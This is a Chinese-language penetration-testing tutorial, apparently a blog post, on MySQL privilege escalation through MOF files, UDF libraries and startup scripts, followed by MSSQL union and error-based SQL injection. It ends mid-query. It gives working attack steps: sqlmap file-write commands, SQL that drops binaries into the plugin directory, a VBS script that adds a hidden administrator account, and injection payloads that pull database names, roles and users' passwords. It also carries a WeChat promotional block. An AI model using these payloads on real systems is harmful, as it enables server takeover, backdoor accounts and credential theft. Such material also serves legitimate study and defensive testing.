mysql提權
MOF提權
MOF 提權是一個有歷史的漏洞,基本上在 Windows Server 2003的環境下才可以成功,
提權的原理是C:/Windows/system32/wbem/mof/目錄下的 mof檔案每 隔一段時間(幾秒鐘左右)都會被系統執行,因為這個 MOF 里面有一部分是 VBS 腳本,所以可以利用這個 VBS 腳本來呼叫 CMD 來執行系統命令,如果 MySQL 有權限操作 mof目錄的話,就可以來執行任意命令了,
經測驗win7雖然存在這個檔案目錄,但是mysql以管理員權限運行,也會提示寫入失敗,
UDF提權
UDF說白了就是自定義函式,是資料庫功能的一種擴展,用戶通過自定義函式可以實作在 MySQL 中無法方便實作的功能,其添加的新函式都可以在SQL陳述句中呼叫,就像呼叫本機函式 version() 等方便,
如果我們添加的自定義函式可以執行系統命令,那么是不是就相當于以mysql的權限去執行系統命令,如果mysql的權限比較高,是不是就可以達到一種權限提升的效果
元件
構建UDF的程序,其實就是呼叫元件的程序,因此我們首先必須知道元件存放的位置,以及要有合適的元件
-
如果mysql版本大于5.1,udf.dll檔案必須放置在mysql安裝目錄的lib\plugin檔案夾下
-
如果mysql版本小于5.1,udf.dll檔案在windows server 2003下放置于c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄
show variables like '%plugin%'; # 查找插件目錄
select @@basedir; # 查找 mysql 安裝目錄
那么元件檔案去哪里找呢?實際上我們常用的工具 sqlmap 和 Metasploit 里面都自帶了對應系統的元件檔案,
-
sqlmap 的 UDF 元件檔案位置
sqlmap根目錄/data/udf/mysql
不過 sqlmap 中 自帶這些元件為了防止被誤殺都經過編碼處理過,不能被直接使用,不過可以利用 sqlmap 自帶的解碼工具cloak.py 來解碼使用,cloak.py 的位置為:/extra/cloak/cloak.py ,解碼方法如下:
# 解碼 32 位的 Linux 元件
? python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
?
# 解碼 64 位的 Linux 元件
? python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
?
# 解碼 32 位的 Windows 元件
? python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
?
# 解碼 64 位的 Windows 元件
? python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
-
Metasploit的UDF元件檔案位置
/usr/share/metasploit-framework/data/exploits/mysql
-
兩款工具帶的元件是一樣的
尋找插件目錄
如果不存在的話
select @@basedir; # 尋找MySQL的安裝目錄
然后通過webshell手動去創建
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
寫入元件
方法一:
當SQL 注入且是高權限,plugin 目錄可寫且需要 secure_file_priv 無限制,MySQL 插件目錄可以被 MySQL 用戶寫入,這個時候就可以直接使用 sqlmap 來上傳元件,又因為 GET 有位元組長度限制,所以往往 POST 注入才可以執行這種攻擊
sqlmap -u "http://localhost:30008/" --data="https://www.cnblogs.com/hetianlab/archive/2022/08/10/id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
方法二:
當沒有注入點時,我們可以操作原生 SQL 陳述句,這種情況下當 secure_file_priv 無限制的時候,我們也是可以手工寫檔案到 plugin 目錄下的:
# 直接 SELECT 查詢十六進制寫入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
?
# 解碼十六進制再寫入多此一舉
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
這里的十六進制怎么獲取呢?可以利用 MySQL 自帶的 hex 函式來編碼:
# 直接傳入路徑編碼
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
?
# 也可以將路徑 hex 編碼
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般為了更方便觀察,可以將編碼后的結果匯入到新的檔案中方便觀察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
?
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
方法三:
當webshell有一定權限時,可以直接通過檔案上傳的方式,上傳對應的dll檔案
創建自定義函式并呼叫命令
-
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
-
select * from mysql.func;驗證是否添加成功
-
呼叫該函式,即可以mysql權限執行一些系統命令
-
洗掉自定義函式
drop function sys_eval;
UDF Shell
方法一:UDF.PHP
http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF
方法二:ntunnel_mysql.php
Navicat內置的php-mysq鏈接檔案,上傳到目標網站
對navicat進行如下配置即可:
方法三:蟻劍內置插件
啟動項提權
windows開機時候都會有一些開機啟動的程式,那時候啟動的程式權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的,當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本匯入到啟動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行,
在windows2003的系統下,啟動項路徑如下:
C:\Documents and Settings\Administrator\「開始」選單\程式\啟動
C:\Documents and Settings\All Users\「開始」選單\程式\啟動
?
在windows2008的系統下,啟動項路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啟動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權,
這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通過mysql的話:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」選單\程式\啟動\secist.vbs”;
重啟之后可以提權
CVE-2016-6663和CVE-2016-6664
https://www.freebuf.com/articles/web/288941.html
https://lengjibo.github.io/mysqludf/
MSSQL
MSSQL基礎
系統自帶庫
MSSQL安裝后默認帶了六個資料庫
-
4個系統庫:
master、model、tempdb和msdb; -
2個示例庫:
NorthwindTraders和pubs
系統視圖表
MSSQL資料庫有安裝的自帶資料表:
MSSQL權限控制
-
服務器角色
可以通過如下陳述句判斷:
select is_srvrolemember('sysadmin')

-
資料庫角色
可以通過如下陳述句判斷:
select is_member('db_owner')

MSSQL常用陳述句
# 創建資料庫
create database [dbname];
create database test;
?
# 洗掉資料庫
drop database [dbname];
drop database test;
?
# 創建新表
create table table_name (name char(10),age tinyint,sex int);
# 創建新表前要選擇資料庫,默認是master庫
use test;
create table admin (users char(255),passwd char(255),sex int);
?
# 洗掉新表
drop table table_name;
drop table dbo.admin;
?
# 向表中插入資料
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
?
# 洗掉內容
delete from table_name where column1=value1;
delete from admin where sex=2;
?
# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
?
# 查找內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
?
-
排序&獲取下一條資料
-
MSSQL資料庫中沒有limit排序獲取欄位,但是可以使用top 1來顯示資料中的第一條資料,
-
使用 <> 來排除已經顯示的資料,獲取下一條資料,也就是不等于的意思,
-
使用not in來排除已經顯示的資料,獲取下一條資料 ,后面可以跟一個集合,
-
# 使用<>獲取資料
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取資料
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
MSSSQL注釋
單行:--空格
多行:/**/
常用函式
常見注入型別
聯合查詢注入
1.判斷注入點及型別
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此處是字符型注入,需要單引號閉合
?
2.判斷欄位數
?id=1' order by 3--+
?id=1' order by 4--+
?
3.聯合查詢判斷回顯點
?id=0' union select 1,2,3--+
?
4.獲取當前資料庫名字和版本資訊
?id=0' union select 1,db_name(),@@version--+
?
5.獲取所有的資料庫名,database在較高版本的SQL Server 中已經變成了動態視圖
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
?
6.獲取所有的表名,當information前面沒有庫名時,默認查詢當前資料庫,與mysql不同,每個資料庫都有單獨的information表,可以用master.information_schema.tables 來查詢不同資料庫的資訊
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
?
7.獲取所有的欄位名,多加些限定條件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
?
8.獲取users表賬號密碼資訊
?id=0' union select top 1 1,username,password from users--+
報錯注入
-
MSSQL資料庫是強型別語言資料庫,當型別不一致時將會報錯,配合子查詢即可實作報錯注入
1.判斷注入點
id=1
?
2.判斷是否為MSSQL資料庫
# 回傳正常為MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
?
3.判斷資料庫版本號
id=1 and @@version>0--+
# @@version是mssql的全域變數,@@version>0執行時轉換成數字會報錯,也就將資料庫資訊暴露出來了,必須是在where后面拼接執行
?
4.獲取當前資料庫名
and db_name()>0--+
and 1=db_name()--+
# 報錯注入的原理就是將其他型別的值轉換層int型失敗后就會爆出原來陳述句執行的結果
?
5.判斷當前服務器擁有的權限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
?
6.判斷當前角色是否為DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner權限可以通過備份方式向目標網站寫檔案
?
7.獲取當前用戶名
and user_name()>0--+
?
8,獲取所有資料庫名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值來獲取所有的資料庫
?
9.獲取資料庫的個數
and 1=(select quotename(count(name)) from master.sys.databases)--+
?
10.一次性獲取所有資料庫庫
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
?
11.獲取所有的表名
# 獲取當前庫第一個表
and 1=(select top 1 table_name from information_schema.tables)--+
# 獲取當前庫第二個表
and 1=(select top 1 table_name from information_schema.tables where table_name not in(